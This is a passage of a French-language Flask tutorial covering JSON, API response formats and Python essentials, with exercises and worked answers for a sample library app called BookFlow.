━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 2.1 :
  a) Spotify : Client = ton téléphone, Serveur = infrastructure Spotify
  b) Stripe  : Client = ton app Flask, Serveur = API Stripe
  c) Google  : Client = Googlebot, Serveur = ton site web
  -> Note : Un serveur peut être client d'un autre serveur !

CORRIGÉ 2.3 :
  SESSIONS :
  [OK] Facile à invalider (supprimer de la BDD) -> déconnexion immédiate
  [OK] Plus sécurisé (token non lisible côté client)
  JWT :
  [OK] Pas de BDD nécessaire -> plus scalable
  [OK] Portable entre plusieurs serveurs (microservices)

CORRIGÉ 2.5 :
  Action : "Emprunter un livre"

  COUCHE API (Route Flask) :
    -> Reçoit POST /api/emprunts avec livre_id dans le body
    -> Vérifie le token JWT (l'utilisateur est connecté ?)
    -> Appelle la couche Business Logic

  COUCHE BUSINESS LOGIC (Service) :
    -> Le livre est-il disponible ?
    -> L'utilisateur a-t-il déjà trop d'emprunts ?
    -> Calcule la date de retour (aujourd'hui + 14 jours)
    -> Appelle la couche Données

  COUCHE DONNÉES (Model/Repository) :
    -> Met à jour le statut du livre : disponible = False
    -> Crée un enregistrement dans la table Emprunts
    -> Retourne l'emprunt créé

  COUCHE API :
    -> Reçoit le résultat
    -> Retourne 201 Created avec les détails de l'emprunt


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                    CHAPITRE 3 — JSON                                               ║
║           Le langage universel des API modernes                                    ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE JSON ?
─────────────────────
JSON (JavaScript Object Notation) est un format de représentation de données
en texte. C'est le format standard pour échanger des données entre un serveur
et un client dans les API modernes.

POURQUOI JSON ?
────────────────
Avant JSON, les développeurs utilisaient XML (beaucoup plus verbeux).
JSON a remplacé XML car il est :
  [OK] Léger (moins de données à transférer)
  [OK] Lisible par les humains
  [OK] Facile à parser par les machines
  [OK] Natif en JavaScript (et facile à utiliser dans tous les langages)

Comparaison JSON vs XML pour le même livre :

  JSON (26 mots) :                    XML (52 mots) :
  ─────────────────────               ─────────────────────────────────
  {                                   <livre>
    "titre": "Dune",                    <titre>Dune</titre>
    "auteur": "Herbert",                <auteur>Herbert</auteur>
    "pages": 900                        <pages>900</pages>
  }                                   </livre>

JSON est 2x plus compact et plus simple à lire.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  SYNTAXE JSON COMPLÈTE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

JSON supporte 6 types de données :

  1. STRING  -> "texte entre guillemets doubles"
  2. NUMBER  -> 42 ou 3.14 ou -7 (pas de guillemets)
  3. BOOLEAN -> true ou false (en minuscules, pas de guillemets)
  4. NULL    -> null (représente l'absence de valeur)
  5. ARRAY   -> [liste, de, valeurs]
  6. OBJECT  -> {"clé": "valeur"}

EXEMPLE COMPLET — Données BookFlow :

  {
    "livre": {
      "id": 1,
      "titre": "Le Petit Prince",
      "auteur": "Antoine de Saint-Exupéry",
      "isbn": "978-2-07-040850-4",
      "pages": 96,
      "prix": 8.90,
      "disponible": true,
      "date_publication": "1943-04-06",
      "categories": ["littérature", "jeunesse", "philosophie"],
      "editeur": {
        "nom": "Gallimard",
        "pays": "France"
      },
      "resume": "Un pilote se retrouve en panne dans le désert...",
      "note_moyenne": 4.8,
      "nombre_avis": 12847,
      "image_url": null
    }
  }

RÈGLES STRICTES DE SYNTAXE JSON :
  [OK] Les clés DOIVENT être entre guillemets doubles : "clé"
  [OK] Les strings DOIVENT être entre guillemets doubles : "valeur"
  [OK] Pas de virgule après le dernier élément
  [OK] Pas de commentaires en JSON
  [OK] true/false/null en minuscules

  [X] {"clé": 'valeur'}      -> guillemets simples INTERDITS
  [X] {clé: "valeur"}        -> clé sans guillemets INTERDITE
  [X] {"liste": [1, 2, 3,]}  -> virgule finale INTERDITE


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  JSON EN PYTHON AVEC FLASK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Python utilise le module `json` pour manipuler du JSON.
Flask ajoute des fonctions utilitaires pour les API.

SÉRIALISATION (Python -> JSON) :

  import json

  # Dictionnaire Python
  livre_python = {
      "titre": "Dune",
      "auteur": "Frank Herbert",
      "pages": 900,
      "disponible": True,    # <- True en Python
      "prix": None           # <- None en Python
  }

  # Convertir en JSON
  livre_json = json.dumps(livre_python)

  # Résultat JSON :
  # '{"titre": "Dune", "auteur": "Frank Herbert", "pages": 900,
  #   "disponible": true, "prix": null}'

  # Note : True Python -> true JSON / None Python -> null JSON

  # Pour un JSON formaté et lisible :
  livre_json_joli = json.dumps(livre_python, indent=4, ensure_ascii=False)

DÉSÉRIALISATION (JSON -> Python) :

  import json

  json_recu = '{"titre": "Dune", "pages": 900, "disponible": true}'

  # Convertir en dictionnaire Python
  livre_dict = json.loads(json_recu)

  print(livre_dict["titre"])      # -> "Dune"
  print(livre_dict["pages"])      # -> 900 (entier Python, pas string)
  print(type(livre_dict["disponible"]))  # -> <class 'bool'>

CONVERSION AUTOMATIQUE DES TYPES :
  JSON string  -> Python str
  JSON number  -> Python int ou float
  JSON boolean -> Python bool (true->True, false->False)
  JSON null    -> Python None
  JSON array   -> Python list
  JSON object  -> Python dict

AVEC FLASK (jsonify) :

  from flask import Flask, jsonify, request

  app = Flask(__name__)

  @app.route('/api/livres/1')
  def get_livre():
      livre = {
          "id": 1,
          "titre": "Le Petit Prince",
          "auteur": "Saint-Exupéry"
      }
      # jsonify convertit le dict Python en réponse JSON Flask
      # (avec Content-Type: application/json automatiquement)
      return jsonify(livre), 200

  @app.route('/api/livres', methods=['POST'])
  def creer_livre():
      # Récupérer le JSON du body de la requête
      data = request.get_json()  # Convertit le JSON reçu en dict Python

      titre = data.get('titre')    # Récupérer un champ
      auteur = data.get('auteur')

      return jsonify({"message": "Livre créé", "titre": titre}), 201


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  STRUCTURE DES RÉPONSES API
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Une API bien conçue doit avoir une structure de réponse COHÉRENTE.
Voici les standards professionnels :

RÉPONSE DE SUCCÈS (liste) :
  {
    "success": true,
    "data": [
      {"id": 1, "titre": "Dune"},
      {"id": 2, "titre": "Foundation"}
    ],
    "meta": {
      "total": 2,
      "page": 1,
      "per_page": 10,
      "pages": 1
    }
  }

RÉPONSE DE SUCCÈS (ressource unique) :
  {
    "success": true,
    "data": {
      "id": 1,
      "titre": "Dune",
      "auteur": "Frank Herbert",
      "pages": 900
    }
  }

RÉPONSE D'ERREUR :
  {
    "success": false,
    "error": {
      "code": 404,
      "message": "Livre non trouvé",
      "details": "Aucun livre avec l'id 999 n'existe"
    }
  }

RÉPONSE D'ERREUR DE VALIDATION :
  {
    "success": false,
    "error": {
      "code": 400,
      "message": "Données invalides",
      "fields": {
        "titre": "Ce champ est obligatoire",
        "pages": "Doit être un nombre positif"
      }
    }
  }

CONSEIL PRO : Définir cette structure DÈS LE DÉBUT du projet et s'y tenir
absolument. L'incohérence des réponses est l'une des erreurs les plus
frustrantes pour les développeurs qui consomment ton API.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EXERCICES PRATIQUES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 3.1 : Identifie les erreurs de syntaxe dans ce JSON :
    {
      titre: 'Le Seigneur des Anneaux',
      auteur: "J.R.R. Tolkien",
      pages: 1200,
      disponible: True,
      genres: ['fantasy', 'aventure',]
    }

  Exercice 3.2 : Convertis ce dictionnaire Python en JSON valide :
    livre = {
        "titre": "1984",
        "auteur": "George Orwell",
        "annee": 1949,
        "dystopie": True,
        "suite": None,
        "themes": ["surveillance", "totalitarisme", "liberté"]
    }

  Exercice 3.3 : Écris le code Python pour extraire les informations de ce JSON :
    json_str = '{"user": {"nom": "Momo", "email": "momo@bookflow.com", "livres_lus": 42}}'
    -> Afficher le nom, l'email et les livres lus

NIVEAU INTERMÉDIAIRE :
  Exercice 3.4 : Conçois la structure JSON complète pour un utilisateur BookFlow
    avec : profil, liste d'emprunts en cours, historique, préférences

  Exercice 3.5 : Écris une fonction Python qui convertit une liste de dictionnaires
    de livres en JSON, en filtrant uniquement les livres disponibles.

NIVEAU AVANCÉ :
  Exercice 3.6 : Conçois le système de réponses JSON standard pour BookFlow API.
    Crée une fonction helper `api_response()` qui génère des réponses cohérentes
    pour les succès, erreurs de validation et erreurs serveur.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 3.1 — Erreurs identifiées :
  Erreur 1 : titre: -> doit être "titre":  (clé sans guillemets)
  Erreur 2 : 'Le Seigneur...' -> doit être "Le Seigneur..." (guillemets simples)
  Erreur 3 : True -> doit être true (minuscules en JSON)
  Erreur 4 : 'fantasy' -> "fantasy" (guillemets simples)
  Erreur 5 : "aventure",] -> virgule finale dans le tableau

  JSON corrigé :
  {
    "titre": "Le Seigneur des Anneaux",
    "auteur": "J.R.R. Tolkien",
    "pages": 1200,
    "disponible": true,
    "genres": ["fantasy", "aventure"]
  }

CORRIGÉ 3.2 :
  import json

  livre = {
      "titre": "1984",
      "auteur": "George Orwell",
      "annee": 1949,
      "dystopie": True,
      "suite": None,
      "themes": ["surveillance", "totalitarisme", "liberté"]
  }

  json_str = json.dumps(livre, ensure_ascii=False, indent=2)
  # ensure_ascii=False -> garde les accents (é, è, ê...)
  # indent=2 -> formatage indenté pour lisibilité

  Résultat :
  {
    "titre": "1984",
    "auteur": "George Orwell",
    "annee": 1949,
    "dystopie": true,
    "suite": null,
    "themes": ["surveillance", "totalitarisme", "liberté"]
  }

CORRIGÉ 3.3 :
  import json

  json_str = '{"user": {"nom": "Momo", "email": "momo@bookflow.com", "livres_lus": 42}}'

  # Convertir le JSON en dictionnaire
  data = json.loads(json_str)

  # Accéder aux données imbriquées
  user = data["user"]

  print(f"Nom : {user['nom']}")            # -> Nom : Momo
  print(f"Email : {user['email']}")        # -> Email : momo@bookflow.com
  print(f"Livres lus : {user['livres_lus']}") # -> Livres lus : 42

  # Méthode sécurisée avec get() (évite les KeyError)
  nom = data.get("user", {}).get("nom", "Inconnu")

CORRIGÉ 3.4 — Structure JSON utilisateur BookFlow :
  {
    "user": {
      "id": "usr_001",
      "profil": {
        "nom": "Traore",
        "prenom": "Momo",
        "email": "momo@bookflow.com",
        "avatar_url": "https://cdn.bookflow.com/avatars/001.jpg",
        "membre_depuis": "2024-01-15",
        "abonnement": "premium"
      },
      "emprunts_en_cours": [
        {
          "emprunt_id": "emp_045",
          "livre": {
            "id": 12,
            "titre": "Dune",
            "auteur": "Frank Herbert"
          },
          "date_emprunt": "2024-06-01",
          "date_retour_prevue": "2024-06-15",
          "jours_restants": 7
        }
      ],
      "historique": {
        "total_livres_lus": 42,
        "derniers_emprunts": [
          {"titre": "Foundation", "date_retour": "2024-05-20"}
        ]
      },
      "preferences": {
        "genres_favoris": ["science-fiction", "fantasy"],
        "langue": "fr",
        "notifications_email": true,
        "notifications_sms": false
      }
    }
  }

CORRIGÉ 3.5 :
  import json

  livres = [
      {"id": 1, "titre": "Dune", "disponible": True},
      {"id": 2, "titre": "Foundation", "disponible": False},
      {"id": 3, "titre": "Neuromancer", "disponible": True},
      {"id": 4, "titre": "Hyperion", "disponible": False}
  ]

  def livres_disponibles_json(liste_livres):
      """
      Filtre les livres disponibles et retourne un JSON.
      """
      # Filtrer avec une list comprehension
      disponibles = [livre for livre in liste_livres if livre["disponible"]]

      # Créer la structure de réponse
      reponse = {
          "success": True,
          "data": disponibles,
          "meta": {
              "total": len(disponibles),
              "total_tous": len(liste_livres)
          }
      }

      return json.dumps(reponse, ensure_ascii=False, indent=2)

  print(livres_disponibles_json(livres))
  # Retourne Dune et Neuromancer dans un JSON formaté

CORRIGÉ 3.6 — Fonction api_response() :
  from flask import jsonify

  def api_response(data=None, success=True, message=None,
                   error_code=None, error_details=None,
                   meta=None, status_code=200):
      """
      Génère une réponse JSON cohérente pour toute l'API BookFlow.

      Args:
          data        : Les données à retourner (dict ou list)
          success     : Succès ou échec (bool)
          message     : Message optionnel
          error_code  : Code d'erreur si échec
          error_details: Détails de l'erreur
          meta        : Métadonnées (pagination, etc.)
          status_code : Code HTTP de la réponse

      Returns:
          tuple: (réponse JSON Flask, code HTTP)
      """
      response = {"success": success}

      if success:
          if data is not None:
              response["data"] = data
          if message:
              response["message"] = message
          if meta:
              response["meta"] = meta
      else:
          response["error"] = {
              "code": error_code or status_code,
              "message": message or "Une erreur est survenue"
          }
          if error_details:
              response["error"]["details"] = error_details

      return jsonify(response), status_code

  # Exemples d'utilisation :
  # Succès avec données :
  # return api_response(data={"id": 1, "titre": "Dune"}, status_code=200)

  # Création :
  # return api_response(data=nouveau_livre, message="Livre créé avec succès", status_code=201)

  # Erreur 404 :
  # return api_response(success=False, message="Livre non trouvé",
  #                     error_code=404, status_code=404)

  # Erreur validation :
  # return api_response(success=False, message="Données invalides",
  #                     error_details={"titre": "Champ obligatoire"},
  #                     status_code=400)


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                 CHAPITRE 4 — RAPPELS PYTHON ESSENTIELS POUR FLASK                 ║
║         Tout ce que tu dois maîtriser avant de coder avec Flask                   ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flask est 100% Python. Pour bien l'utiliser, tu dois maîtriser certains
concepts Python intermédiaires. Ce chapitre est un rappel ciblé sur
exactement ce dont tu auras besoin pour Flask.

Si tu es débutant Python, lis attentivement chaque section.
Si tu connais déjà Python, parcoure rapidement pour identifier les gaps.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  FONCTIONS ET PARAMÈTRES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les fonctions sont au cœur de Flask. Chaque route Flask EST une fonction.

FONCTIONS DE BASE :
  def bonjour(nom):
      """Docstring : décrit ce que fait la fonction."""
      return f"Bonjour {nom} !"

  resultat = bonjour("Momo")
  print(resultat)  # -> "Bonjour Momo !"

PARAMÈTRES PAR DÉFAUT :
  def creer_livre(titre, auteur, disponible=True, pages=0):
      """
      disponible=True -> valeur par défaut si non fourni
      pages=0 -> valeur par défaut
      """
      return {
          "titre": titre,
          "auteur": auteur,
          "disponible": disponible,
          "pages": pages
      }

  # Appels possibles :
  livre1 = creer_livre("Dune", "Herbert")          # disponible=True, pages=0
  livre2 = creer_livre("1984", "Orwell", pages=328) # disponible=True, pages=328
  livre3 = creer_livre("Foundation", "Asimov", False, 255)

*args ET **kwargs (TRÈS UTILISÉS EN FLASK) :
  # *args -> liste d'arguments variables
  def additionner(*nombres):
      return sum(nombres)

  additionner(1, 2, 3)      # -> 6
  additionner(1, 2, 3, 4, 5) # -> 15

  # **kwargs -> dictionnaire d'arguments nommés
  def afficher_infos(**infos):
      for cle, valeur in infos.items():
          print(f"{cle}: {valeur}")

  afficher_infos(nom="Momo", ville="Dakar", age=23)
  # -> nom: Momo
  # -> ville: Dakar
  # -> age: 23

  # EN FLASK, tu verras souvent des décorateurs qui utilisent *args, **kwargs :
  def mon_decorateur(f):
      def wrapper(*args, **kwargs):  # capture TOUS les arguments de f
          print("Avant la fonction")
          result = f(*args, **kwargs)  # passe tous les arguments à f
          print("Après la fonction")
          return result
      return wrapper


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  DÉCORATEURS (FONDAMENTAL POUR FLASK)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les décorateurs sont LE concept le plus important à comprendre pour Flask.
La syntaxe @app.route('/') QUE TU VERRAS PARTOUT est un décorateur.

QU'EST-CE QU'UN DÉCORATEUR ?
Un décorateur est une fonction qui MODIFIE ou ENVELOPPE une autre fonction
sans la modifier directement.

EXEMPLE SIMPLE :
  # Décorateur basique
  def logger(fonction):
      """Décorateur qui loggue l'appel d'une fonction."""
      def wrapper(*args, **kwargs):
          print(f"Appel de {fonction.__name__}")
          resultat = fonction(*args, **kwargs)
          print(f"Fin de {fonction.__name__}")
          return resultat
      return wrapper

  # Application du décorateur avec @
  @logger
  def bonjour(nom):
      print(f"Bonjour {nom} !")
      return f"Bonjour {nom} !"

  # C'est EXACTEMENT équivalent à :
  # bonjour = logger(bonjour)

  bonjour("Momo")
  # -> Appel de bonjour
  # -> Bonjour Momo !
  # -> Fin de bonjour

DÉCORATEURS EN FLASK :
  from flask import Flask, request, jsonify

  app = Flask(__name__)

  # @app.route('/') est un décorateur fourni par Flask
  # Il dit à Flask : "quand quelqu'un accède à '/', appelle cette fonction"
  @app.route('/')
  def accueil():
      return "Bienvenue sur BookFlow !"

  # Plusieurs décorateurs peuvent être empilés
  @app.route('/admin/livres')
  @login_required      # Vérifie que l'utilisateur est connecté
  @admin_required      # Vérifie que l'utilisateur est admin
  def gestion_livres():
      return jsonify({"livres": []})

CRÉER TON PROPRE DÉCORATEUR FLASK (authentification) :
  from functools import wraps  # IMPORTANT : préserve les métadonnées de la fonction

  def login_required(f):
      """Décorateur qui vérifie que l'utilisateur est connecté."""
      @wraps(f)  # Préserve __name__, __doc__ de la fonction originale
      def wrapper(*args, **kwargs):
          # Vérifier si le token est présent
          token = request.headers.get('Authorization')

          if not token:
              return jsonify({"error": "Token manquant"}), 401

          # Vérifier si le token est valide
          if not est_token_valide(token):
              return jsonify({"error": "Token invalide"}), 401

          # Token OK -> continuer vers la vraie fonction
          return f(*args, **kwargs)

      return wrapper

  @app.route('/api/profil')
  @login_required  # Protection de la route
  def profil():
      return jsonify({"profil": "...données utilisateur..."})


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  CLASSES ET OBJETS (POUR LES MODÈLES)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

SQLAlchemy (l'ORM qu'on utilisera) est basé sur des classes Python.
Chaque table de ta base de données sera une classe Python.

CLASSE DE BASE :
  class Livre:
      """Représente un livre dans BookFlow."""

      def __init__(self, titre, auteur, pages):
          """Méthode spéciale appelée à la création."""
          self.titre = titre     # self. -> attribut de l'instance
          self.auteur = auteur
          self.pages = pages
          self.disponible = True  # Valeur par défaut

      def emprunter(self):
          """Marque le livre comme emprunté."""
          if self.disponible:
              self.disponible = False
              return True
          return False  # Déjà emprunté

      def retourner(self):
          """Marque le livre comme disponible."""
          self.disponible = True

      def to_dict(self):
          """Convertit l'objet en dictionnaire (pour JSON)."""
          return {
              "titre": self.titre,
              "auteur": self.auteur,
              "pages": self.pages,
              "disponible": self.disponible
          }

      def __repr__(self):
          """Représentation string de l'objet (pour debug)."""
          return f"<Livre {self.titre} par {self.auteur}>"

  # Utilisation :
  livre = Livre("Dune", "Frank Herbert", 900)
  print(livre)          # -> <Livre Dune par Frank Herbert>
  print(livre.to_dict()) # -> {"titre": "Dune", ...}
  livre.emprunter()
  print(livre.disponible)  # -> False

HÉRITAGE (utilisé dans SQLAlchemy) :
  class Ebook(Livre):
      """Un ebook hérite de Livre et ajoute des fonctionnalités."""

      def __init__(self, titre, auteur, pages, format_fichier):
          super().__init__(titre, auteur, pages)  # Appelle __init__ de Livre
          self.format_fichier = format_fichier    # Attribut spécifique aux ebooks
          self.taille_mb = 0

      def telecharger(self):
          """Action spécifique aux ebooks."""
          return f"Téléchargement de {self.titre} ({self.format_fichier})"

  ebook = Ebook("Dune", "Herbert", 900, "EPUB")
  print(ebook.to_dict())    # Méthode héritée de Livre
  print(ebook.telecharger()) # Méthode spécifique Ebook


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  GESTION DES ERREURS (TRY/EXCEPT)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

En Flask, les erreurs mal gérées crashent le serveur ou exposent des
informations sensibles. Il faut TOUJOURS gérer les erreurs.

SYNTAXE DE BASE :
  try:
      # Code qui peut échouer
      resultat = 10 / 0
  except ZeroDivisionError:
      # Code exécuté si l'erreur se produit
      print("Division par zéro impossible !")
  except (TypeError, ValueError) as e:
      # Attrape plusieurs types d'erreurs + récupère l'erreur
      print(f"Erreur de type ou valeur : {e}")
  except Exception as e:
      # Attrape TOUTES les autres erreurs
      print(f"Erreur inattendue : {e}")
  else:
      # Exécuté SEULEMENT si pas d'erreur
      print(f"Résultat : {resultat}")
  finally:
      # Exécuté TOUJOURS (avec ou sans erreur)
      # Utile pour fermer des connexions, libérer des ressources
      print("Fin du try/except")

ERREURS COURANTES EN FLASK :
  from flask import jsonify

  @app.route('/api/livres/<int:livre_id>')
  def get_livre(livre_id):
      try:
          # Peut lever une exception si l'ID n'existe pas
          livre = Livre.query.get_or_404(livre_id)
          return jsonify(livre.to_dict()), 200

      except Exception as e:
          # Log l'erreur (important en production)
          app.logger.error(f"Erreur get_livre: {e}")
          return jsonify({
              "success": False,
              "error": "Erreur interne du serveur"
          }), 500

EXCEPTIONS PERSONNALISÉES :
  class LivreNonTrouveError(Exception):
      """Exception personnalisée pour un livre non trouvé."""
      def __init__(self, livre_id):
          self.livre_id = livre_id
          super().__init__(f"Livre {livre_id} non trouvé")

  class DisponibiliteError(Exception):
      """Exception si le livre n'est pas disponible."""
      pass

  # Utilisation :
  def emprunter_livre(livre_id, user_id):
      livre = trouver_livre(livre_id)

      if livre is None:
          raise LivreNonTrouveError(livre_id)

      if not livre.disponible:
          raise DisponibiliteError(f"Le livre '{livre.titre}' n'est pas disponible")

      # Procéder à l'emprunt...


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  LIST COMPREHENSIONS ET EXPRESSIONS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Très utilisées pour transformer des données avant de les retourner en JSON.

LIST COMPREHENSIONS :
  livres = [
      {"titre": "Dune", "pages": 900, "disponible": True},
      {"titre": "Foundation", "pages": 255, "disponible": False},
      {"titre": "Hyperion", "pages": 482, "disponible": True}
  ]

  # Filtrer les livres disponibles
  disponibles = [l for l in livres if l["disponible"]]
  # -> [{"titre": "Dune", ...}, {"titre": "Hyperion", ...}]

  # Extraire seulement les titres
  titres = [l["titre"] for l in livres]
  # -> ["Dune", "Foundation", "Hyperion"]

  # Transformer + filtrer
  titres_disponibles = [l["titre"] for l in livres if l["disponible"]]
  # -> ["Dune", "Hyperion"]

  # Transformer les données pour l'API
  livres_api = [
      {"titre": l["titre"], "dispo": l["disponible"]}
      for l in livres
  ]

DICT COMPREHENSIONS :
  # Créer un index {id: titre} pour accès rapide
  livres_avec_id = [
      {"id": 1, "titre": "Dune"},
      {"id": 2, "titre": "Foundation"}
  ]

  index = {l["id"]: l["titre"] for l in livres_avec_id}
  # -> {1: "Dune", 2: "Foundation"}

  print(index[1])  # -> "Dune" (accès en O(1))

EXPRESSIONS CONDITIONNELLES (ternaires) :
  disponible = True
  statut = "disponible" if disponible else "emprunté"
  # Équivalent à :
  # if disponible:
  #     statut = "disponible"
  # else:
  #     statut = "emprunté"


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  MODULES ET IMPORTS (POUR L'ARCHITECTURE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Flask est organisé en modules. Comprendre les imports est crucial.

TYPES D'IMPORTS :
  # 1. Import d'un module complet
  import json
  json.dumps({"a": 1})

  # 2. Import d'éléments spécifiques
  from flask import Flask, request, jsonify
  # -> Plus courant en Flask, plus lisible

  # 3. Import avec alias
  import pandas as pd  # Convention
  from datetime import datetime as dt

  # 4. Import depuis un sous-module
  from flask_sqlalchemy import SQLAlchemy
  from flask_jwt_extended import JWTManager, create_access_token

ORGANISATION DES MODULES FLASK :
  Dans un projet Flask, tu auras plusieurs fichiers :

  bookflow/
  ├── app.py          <- Point d'entrée principal
  ├── models.py       <- Classes SQLAlchemy (modèles BDD)
  ├── routes/
  │   ├── livres.py   <- Routes pour les livres
  │   └── users.py    <- Routes pour les utilisateurs
  └── services/
      └── auth.py     <- Logique d'authentification

  # Dans livres.py :
  from flask import Blueprint, jsonify
  from ..models import Livre  # Import relatif (remonte d'un niveau)

  # Dans app.py :
  from routes.livres import livres_bp  # Import absolu

  __name__ EN PYTHON (UTILISÉ DANS FLASK) :
  # __name__ est une variable spéciale Python
  # Si le fichier est exécuté directement : __name__ == "__main__"
  # Si le fichier est importé : __name__ == "nom_du_module"

  # C'est pour ça que Flask l'utilise :
  app = Flask(__name__)  # __name__ dit à Flask où trouver les fichiers (templates, static)

  # Et c'est pourquoi on écrit souvent :
  if __name__ == "__main__":
      app.run()  # Ne s'exécute QUE si on lance directement ce fichier
                 # Pas si un autre module l'importe


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  8⃣  F-STRINGS ET MANIPULATION DE CHAÎNES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Très utilisées dans les messages d'erreur, logs, et génération de réponses.

F-STRINGS (Python 3.6+) :
  nom = "Momo"
  livres_lus = 42

  # F-string : le plus moderne et lisible
  message = f"Bonjour {nom}, tu as lu {livres_lus} livres !"

  # Formatage avancé :
  prix = 8.9
  print(f"Prix: {prix:.2f}€")         # -> Prix: 8.90€
  print(f"{'Titre':<20} {'Pages':>5}") # Alignement

  # Expressions dans les f-strings :
  print(f"Disponible: {'Oui' if disponible else 'Non'}")
  print(f"Nombre: {len(livres)}")

OPÉRATIONS UTILES SUR LES CHAÎNES :
  titre = "  le petit prince  "

  titre.strip()       # -> "le petit prince" (supprime espaces)
  titre.upper()       # -> "LE PETIT PRINCE"
  titre.lower()       # -> "le petit prince"
  titre.title()       # -> "Le Petit Prince"
  titre.replace("prince", "roi")  # -> "  le petit roi  "

  # Pour les URLs (slug) :
  slug = titre.strip().lower().replace(" ", "-")
  # -> "le-petit-prince"

  # Vérifications :
  email = "momo@bookflow.com"
  "@" in email            # -> True
  email.endswith(".com")  # -> True
  email.startswith("momo") # -> True

  # Découper une chaîne :
  "bonjour,monde,python".split(",")  # -> ["bonjour", "monde", "python"]

  # Joindre une liste :
  ", ".join(["Dune", "Foundation", "Hyperion"])
  # -> "Dune, Foundation, Hyperion"


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  9⃣  EXERCICES PYTHON POUR FLASK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 4.1 : Écris un décorateur `timer` qui mesure et affiche le temps
    d'exécution de n'importe quelle fonction.

  Exercice 4.2 : Crée une classe Utilisateur avec :
    - Attributs : nom, email, mot_de_passe_hash, date_inscription
    - Méthodes : to_dict(), est_admin(), changer_email()
    - __repr__ lisible

  Exercice 4.3 : Transforme cette liste de livres avec une list comprehension :
    Retourner seulement titre et auteur des livres avec plus de 300 pages.

NIVEAU INTERMÉDIAIRE :
  Exercice 4.4 : Crée un décorateur `validate_json` pour Flask qui vérifie
    que la requête contient bien du JSON avant d'appeler la fonction.

  Exercice 4.5 : Écris une fonction qui prend une liste de dictionnaires de livres
    et retourne un dictionnaire groupé par genre.

NIVEAU AVANCÉ :
  Exercice 4.6 : Implémente un décorateur `cache_response(duree_secondes)` qui
    met en cache le résultat d'une fonction Flask pendant N secondes.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 4.1 :
  import time
  from functools import wraps

  def timer(f):
      """Décorateur qui mesure le temps d'exécution d'une fonction."""
      @wraps(f)
      def wrapper(*args, **kwargs):
          debut = time.time()          # Temps avant l'exécution
          resultat = f(*args, **kwargs) # Exécuter la fonction
          fin = time.time()            # Temps après l'exécution

          duree = fin - debut
          print(f"[TIMER] {f.__name__} a pris {duree:.4f} secondes")

          return resultat
      return wrapper

  @timer
  def rechercher_livres(query):
      time.sleep(0.1)  # Simulation d'une recherche
      return ["Dune", "Foundation"]

  rechercher_livres("science-fiction")
  # -> [TIMER] rechercher_livres a pris 0.1023 secondes

CORRIGÉ 4.2 :
  from datetime import datetime
  import hashlib

  class Utilisateur:
      """Représente un utilisateur de BookFlow."""

      def __init__(self, nom, email, mot_de_passe):
          self.nom = nom
          self.email = email
          self.mot_de_passe_hash = self._hasher_mdp(mot_de_passe)
          self.date_inscription = datetime.now()
          self.est_administrateur = False

      def _hasher_mdp(self, mot_de_passe):
          """Hash le mot de passe (méthode privée)."""
          # En production, utiliser bcrypt ou argon2 !
          return hashlib.sha256(mot_de_passe.encode()).hexdigest()

      def est_admin(self):
          """Vérifie si l'utilisateur est admin."""
          return self.est_administrateur

      def changer_email(self, nouvel_email):
          """Change l'email avec validation basique."""
          if "@" not in nouvel_email:
              raise ValueError(f"'{nouvel_email}' n'est pas un email valide")
          self.email = nouvel_email
          return True

      def to_dict(self):
          """Convertit en dictionnaire pour l'API (sans mot de passe !)."""
          return {
              "nom": self.nom,
